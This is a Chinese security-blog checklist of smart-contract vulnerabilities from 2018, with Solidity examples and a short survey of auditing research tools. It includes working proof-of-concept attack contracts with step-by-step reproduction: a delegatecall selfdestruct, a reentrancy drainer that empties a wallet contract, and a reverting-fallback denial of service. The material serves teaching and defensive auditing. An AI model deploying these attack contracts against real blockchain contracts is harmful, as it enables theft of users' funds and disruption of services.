freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

智能合约安全性问题CheckList
2018-09-14 08:30:24

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

*本文原创作者:x565178035,本文属FreeBuf原创奖励计划,未经许可禁止转载

根据腾讯腾讯安全2018上半年区块链安全报告,智能合约引发的安全问题以成为区块链自身机制安全性的主要问题,本文就目前文献中提到的主流安全性问题做出总结,并列出目前的相关研究。

整形溢出(Arithmetic Issues)

如下代码,如果没有assert判断,那么sellerBalance+value可能会超出uint上限制导致溢出。

pragma solidity ^0.4.15;
contract Overflow {
    uint private sellerBalance=0;
    function add(uint value) returns (bool, uint){
        sellerBalance += value; // complicated math with possible overflow
        // possible auditor assert
        assert(sellerBalance >= value);
    }
}

危险的delegatecall(dangerous delegatecall)[contractfuzzer]

首先需要了解call和delegatecall的区别:call和delegatecall都为合约相互调用时的函数,假设A调用B函数,call方法结果展示到B中,delegatecall方法结果展示到A中。

在如下示例中,Mark如果用delegatecall调用了恶意合约Steal,那么Mark合约会被删除。

复现:

1.用A账户部署Steal,用B账户部署Mark合约,并在部署时为合约附加10个ether。

2.账户B调用Mark.call(address(Steal)),即用B调用Steal的Innocence方法,实际上innocence会在Mark的上下文环境运行,发现账户B收到合约的10 ether(注意不是A账户)

3.用C账户执行Mark.deposit()方法,并附加10ether,再调用destruct方法,发现B无法收到10ether,说明合约确实已经在第二步被销毁。

pragma solidity ^0.4.2;
contract Steal{
    address owner;
    constructor () payable {
        owner = msg.sender;
    }
    function innocence() {
        log0("123");
        selfdestruct(owner);
    }
}
contract Mark {
    address owner;
    constructor () payable {
        owner = msg.sender;
    }
    function Deposit() payable {}
    function call(address a) {
        a.delegatecall(bytes4(keccak256("innocence()")));
    }
}

无Gas发送(Gasless Send)[contractfuzzer]

合约C调用合约D1时,由于fallback函数修改了storage变量——这是一个消耗大量gas的操作——导致了超过fallback的gas上限(2300gas)导致fallback失败,调用D2时,由于没有超过上限,调用成功。

复现:

1.用10ether部署C合约,0ether部署D1合约,0ether部署D2合约

2.调用C.pay(1000000000000000000, address(D1)),D1的count值仍为0

3.调用D1.kill(),以太币不增加。2,3两步说明了D1的fallback调用失败

4.调用C.pay(1000000000000000000,address(D2))

5.调用D2.kill(),发现账户增加1ether,说明D2的fallback调用成功

pragma solidity ^0.4.2;
contract C {
    address owner;
    constructor () payable{
        owner=msg.sender;
    }
    function pay(uint n, address d){
        d.send(n);
    }
    function kill() {
       if (owner == msg.sender) {
          selfdestruct(owner);
       }
    }
}
contract D1 {
    address owner;
    uint public count = 0;
    constructor () payable{
        owner=msg.sender;
    }
    function() payable {
        count = count+1;
    }
    function kill() {
       if (owner == msg.sender) {
          selfdestruct(owner);
       }
    }
}
contract D2  {
    address owner;
    constructor () payable{
        owner=msg.sender;
    }
    function() payable {}
    function kill() {
       if (owner == msg.sender) {
          selfdestruct(owner);
       }
    }
}

依赖于交易顺序/条件竞争(TOD/Front Running)[smarter]

由于:

1.只有当交易被打包进区块时,他才是不可更改的

2.区块会优先打包gasprice更高的交易

所以攻击者可以恶意操控交易顺序从而使合约对自己有利。如图,出题人和做题人同时发起合约,那么做题人得到的奖励因合约执行顺序不同而不同。

1534317198703

再例如ERC20标准中的approve,整个流程是这样的:

1.用户A授权用户B 100代币的额度

2.用户A觉得100代币的额度太高了,再次调用approve试图把额度改为50

3.用户B在待交易处(打包前)看到了这笔交易

4.用户B构造一笔提取100代币的交易,通过条件竞争将这笔交易打包到了修改额度之前,成功提取了100代币

5.用户B发起了第二次交易,提取50代币,用户B成功拥有了150代币

function approve(address _spender, uint256 _value) public returns (bool success){
    allowance[msg.sender][_spender] = _value;
    return true

依赖于时间戳(Timestamp Dependence/Time manipulation)[smarter]

1534316701411

攻击者可以修改区块的时间戳-900s以此获益。

未处理的异常(Mishandled Exceptions/Unchecked Return Values For Low Level Calls)[smarter]

例如合约KoET,攻击者可以控制函数调用次数(EVM限制调用深度为1024),从而导致send函数调用失败,但是接下来的代码会继续执行,这样前一个国王就无法得到报酬(compensation)。1535892194599

Attacker:

1535891836531

复现失败,在Remix中运行递归会崩溃,在实际运行中由于Gas较高,无法交易(预算手续费大于30ether)。

重入漏洞(Reentrancy/DAO)[smarter][seebug1]

当外部账户或其他合约向一个合约地址发送ether时,会执行该合约的fallback函数(当调用合约时没有匹配到函数,也会调用没有名字的fallback函数)。且call.value()会将所有可用Gas给予外部调用(fallback函数),若在fallback函数中再调用withdraw函数,则会导致递归问题。攻击者可以部署一个恶意递归的合约将公共钱包这个合约账户里的Ether全部提出来。

复现:

1.账户A部署IDMoney合约,账户B部署Attack合约

2.账户A调用IDMoney()方法,并附加10ether

3.账户B部署Attack合约,附加2ether

4.账户B调用Attack.setVictim()方法,设置victim变量为IDMoney合约地址

5.账户B调用Attack.step1()方法,设置amount=1000000000000000000,即合约Attack调用合约IDMoney.deposit()方法

6.账户B调用Attack.step2()方法,设置amount=500000000000000000

7.账户B调用Attack.stopAttack()方法,获得IDMoney的所有余额(包括A的存款,严格说是合约中除了500000000000000000wei的余额)

pragma solidity ^0.4.19;
contract IDMoney{
    address _owner;
    mapping (address => uint256) balances;
    function IDMoney() {
        _owner = msg.sender;
    }
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    function withdraw(address to, uint256 amount) public payable {
        require(balances[msg.sender] >= amount);
        require(this.balance >= amount);
        log0(bytes32(address(this).balance/1e15));
        to.call.value(amount)();
        balances[msg.sender] -= amount;
    }
    function balanceof(address to) constant returns(uint256){
        return balances[to];
    }
}
contract Attack {
    address owner;
    address victim;
    modifier ownerOnly { require(owner == msg.sender); _; }
    function Attack() payable { owner = msg.sender; }
    // 设置已部署的 IDMoney 合约实例地址
    function setVictim(address target) ownerOnly { victim = target; }
    // deposit Ether to IDMoney deployed
    function step1(uint256 amount) ownerOnly payable {
        if (this.balance > amount) {
            victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    // withdraw Ether from IDMoney deployed
    function step2(uint256 amount) ownerOnly {
        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() ownerOnly {
        selfdestruct(owner);
    }
    function startAttack(uint256 amount) ownerOnly {
        step1(amount);
        step2(amount / 2);
    }
    function () payable {
        if (msg.sender == victim) {
            // 再次尝试调用 IDMoney 的 withdraw 函数,递归转币
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
        }
    }
}

注意到合约IDMoney.withdraw()方法已经存在检查账户余额的代码,但是却未能生效,原因是递归调用时没有执行到balances[msg.sender] -= amount;,因此调用时,账户的余额是不变的,而真正导致递归调用退出的是require(this.balance >= amount);,这也是为何调用结束后合约还剩下amount数量的以太币的原因。有人会问,如果把这句话删掉呢?我本以为合约会报错,但是很遗憾,合约依然能够正常运行,并且合约中不再剩下任何以太币。

DoS攻击[DoS]

频繁调用某些Op(EXTCODESIZE和SUICIDE),这些Op花费的Gas小,但是需要大量资源(计算资源,I/O),以此造成DoS,对以太坊合约进行 DoS 攻击,可能导致 Ether 和 Gas 的大量消耗,更严重的是让原本的合约代码逻辑无法正常运行。

复现:

1.账户A部署PresidentOfCountry合约设置_price为1e18(1ether)。

2.账户B调用PresidentOfCountry,并附加1ether,成为President,price=2ether

3.账户C部署Attack,调用start_attack(address(PresidentOfCountry))并附加2ether,账户C成为President,由于调用后PresidentOfCountry合约会调用Attack的fallback函数,而fallback函数的revert()抛出错误。

4.账户B调用PresidentOfCountry,并附加4ether,但是并不能称为President,说明合约代码无法正常运行。

pragma solidity ^0.4.10;
contract PresidentOfCountry {
    address public president;
    uint256 public price;
    constructor(uint256 _price) public payable {
        require(_price > 0);
        price = _price;
        president = msg.sender;
    }
    function becomePresident() payable {
        assert(msg.value >= price);  // must pay the price to become president
        president.transfer(price);   // we pay the previous president
        president = msg.sender;      // we crown the new president
        price = msg.value * 2;           // we double the price to become president
    }
}
contract Attack {
    function () { revert(); }
    function start_attack(address _target) payable {
        _target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
    }
}

说实话这里我也没太搞懂,为什么合约被C调用过就无法执行了Orz

重放攻击[blackhat2018]

如果合约存在相同的代码,则攻击者可以使用合约A函数的参数调用合约B。

/*
 * 付款人要为收款人转账,但是付款人没有足够的ETH,因此找一个代理人,并支付一定的代币作为代理费
 * @param _from     付款人
 * @param _to       收款人
 * @param _value    金额
 * @param feeUgt    代理费
 * @param _v        sig[0:66] #由付款人签名,即付款人确认付钱
 * @param _r        sig[66:130]
 * @param _s        sig[130:132]
 * 如果其他合约同样包含TransferProxy函数,并且实现相似,那么攻击者可以在B合约上重放函数参数,B合约会执行成功
 */
function transferProxy(address _from, address _to, uint256 _value, uint256 _feeUgt,
    uint8 _v,bytes32 _r, bytes32 _s) returns (bool){
    if(balances[_from] < _feeUgt + _value) throw;
    uint256 nonce = nonces[_from];
    bytes32 h = sha3(_from,_to,_value,_feeUgt,nonce);
    // ecrecover 验签函数
    if(_from != ecrecover(h,_v,_r,_s)) throw;
    if(balances[_to] + _value < balances[_to]
        || balances[msg.sender] + _feeUgt < balances[msg.sender]) throw;
    balances[_to] += _value;
    Transfer(_from, _to, _value);
    balances[msg.sender] += _feeUgt;
    Transfer(_from, msg.sender, _feeUgt);
    balances[_from] -= _value + _feeUgt;
    nonces[_from] = nonce + 1;
    return true;
}

变量覆盖[varreplace]

以如下代码为例,Solidity存储机制的问题,p初始化后的name、mappedAddress地址会与变量testA、testB地址重合,导致调用test函数给结构体p赋值后,变量testA和testB的值也会被覆盖。

复现:

1.调用TestContract.test()方法

2.检查testA和testB的值,已被改变

pragma solidity ^0.4.0;
contract  TestContract{
    int public testA;
    address public testB;
    struct Person {
        int name;
        address mappedAddress;
    }
    function test(int _name, address _mappedAddress) public{
        Person p;
        p.name = _name;    //testA被改变
        p.mappedAddress = _mappedAddress;    //testB被改变
    }
}

相关工作

DASP[dasp]总结了以太坊合约的Top10安全性问题

luu等人[smarter]设计一套基于符号执行的智能合约安全审计工具oyente(已做过演示,目前可以检测的漏洞有整形溢出,合约依赖交易顺序,依赖时间戳的漏洞,未处理异常和重入漏洞

Nikolic[maian]等人设计了一套符号执行检测智能合约的工具MAIAN,这些问题包括合约永久锁定资金,资金可被恶意用户转账以及被任意用户杀死,我们选用了34200个合约(去重复后有2365个),我们抽样调查了3759个合约,得到89%的正确率。

jiang等人[contractfuzzer]设计了一套基于fuzz的智能合约审计工具ContractFuzzer,他们通过在EVM中插桩,以此获取程序在执行中产生的信息,通过预先设置的测试准则发现漏洞,他们设计的工具可以检测无Gas发送、Exception Disorder、重入漏洞、依赖于时间戳漏洞、依赖于区块高度漏洞、危险的Delegatecall、合约永久锁定资金7大安全性问题,经过试验,ContractFuzzer发现漏洞的准确率较高,但是相较于Oyente,此工具找到的漏洞数量较少。

Liu等人[ReGuard]构建了基于fuzz的智能合约检测工具,旨在检测合约中的重入漏洞,实验表明,相较于Oyente,该工具有更高的准确率,并且能发现更多数量的问题。

chen等人[DoS]通过动态调整Op执行的gas花费阻止DoS攻击(通过反复执行小gas的opcode,消耗系统资源造成dos)。

参考文献

[DoS]: Chen, Ting, et al. "An Adaptive Gas Cost Mechanism for Ethereum to Defend Against Under-Priced DoS Attacks." International Conference on Information Security Practice and Experience. Springer, Cham, 2017.

[smarter]: Luu, Loi, et al. "Making smart contracts smarter." Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. ACM, 2016.

[blackhat2018]: Bai, Zhenxuan, et al. "Your May Have Paid More than You Imagine:Replay Attacks on Ethereum Smart Contracts." Blackhat. 2018

[seebug1]: 以太坊智能合约安全入门了解一下(上),https://paper.seebug.org/601/

[contractfuzzer]: Bo Jiang, Ye Liu, and W.K. Chan. 2018. ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection. In Proceedings ofthe 33rd IEEE/ACM International Conference on Automated Software Engineering (ASE’18), September 3–7, Montpellier, France, 10 pages.

[maian]: Ivica Nikolic, Aashish Kolluri, Ilya Sergey, Prateek Saxena, and Aquinas Hobor. 2018. Finding The Greedy, Prodigal, and Suicidal Contracts at Scale. (2018). DOI:https://doi.org/arXiv:1802.06038v1

[ReGuard]: Liu, C., Liu, H., Cao, Z., Chen, Z., Chen, B., & Roscoe, B. (2018). ReGuard: Finding reentrancy bugs in smart contracts. Proceedings - International Conference on Software Engineering, 65–68.https://doi.org/10.1145/3183440.3183495

*本文原创作者:x565178035,本文属FreeBuf原创奖励计划,未经许可禁止转载

# 安全 # 智能合约 # CheckList
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录